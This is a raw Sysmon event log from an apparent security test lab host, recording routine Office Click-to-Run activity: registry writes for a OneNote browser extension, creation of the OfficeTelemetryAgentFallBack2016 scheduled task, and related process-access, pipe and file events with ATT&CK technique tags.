Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\HotIconC:\Program Files\Microsoft Office\root\Office16\ONBttnIE.dll,103 13241300x800000000000000041744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ToolTipSend to OneNote 13241300x800000000000000041743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\MenuTextSe&nd to OneNote 13241300x800000000000000041742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\ButtonTextSend to OneNote 13241300x800000000000000041741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1176SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{2670000A-7350-4f3c-8081-5663EE0C6C49}\Default VisibleYes 13241300x800000000000000041740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:10.221{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKCR\CLSID\{48E73304-E1D6-4330-914C-F5F514E3486C}\InprocServer32\(Default)C:\Program Files\Microsoft Office\root\Office16\ONBttnIE.dll 13241300x800000000000000041739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.206{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 13241300x800000000000000041738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1183,IFEOSetValue2021-09-10 14:44:10.206{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\integration\integrator.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe\MitigationOptionsQWORD (0x00000000-0x00000100) 23542300x800000000000000041737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.206{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\nslist.hxlMD5=3C52A876C703CFB4C3E80A1D3808C991,SHA256=BC56FC256A9FA5FC1E1417E99C7BAC244AACC52D387FF2004F5EF2884C70BCF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.206{7BD73061-6F39-613B-9F08-00000000F001}3328NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.ONENOTE.16.1033.hxnMD5=92D4CE0D5D60A8D23C358FBB95F633DD,SHA256=3C401267940C204E4845E32B202AD8BF2612B5D8530F22CF988ACAFEF22231FF,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000041735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:10.190{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack20162021-09-10 14:41:14.569 10341000x800000000000000041734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.190{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.190{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.190{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.190{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-BD08-00000000F001}6028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.190{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DC8C60614B924FA395F07D498A99A55,SHA256=04FB7129CA41657C267A9737FD24CCC29FA98431C9410606653A2BF841FAD142,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.174{7BD73061-6F3A-613B-BC08-00000000F001}65241576C:\Windows\system32\conhost.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.174{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BC08-00000000F001}6524C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.174{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BD08-00000000F001}6028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.174{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-BD08-00000000F001}6028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.174{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.174{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.174{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9aa0a|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f1bd1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.171{7BD73061-6F3A-613B-BB08-00000000F001}4028C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Create /tn "Microsoft\Office\OfficeTelemetryAgentFallBack2016" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 23542300x800000000000000041715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016MD5=5DB7A42D02A9BD451219B68891F0381B,SHA256=10C9C218475077E192CB0D07C54F4BB8696C220EAB4BAE9811DA26F9DC36BD82,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.143{7BD73061-6F3A-613B-BA08-00000000F001}57645240C:\Windows\system32\conhost.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-BA08-00000000F001}5764C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-B808-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 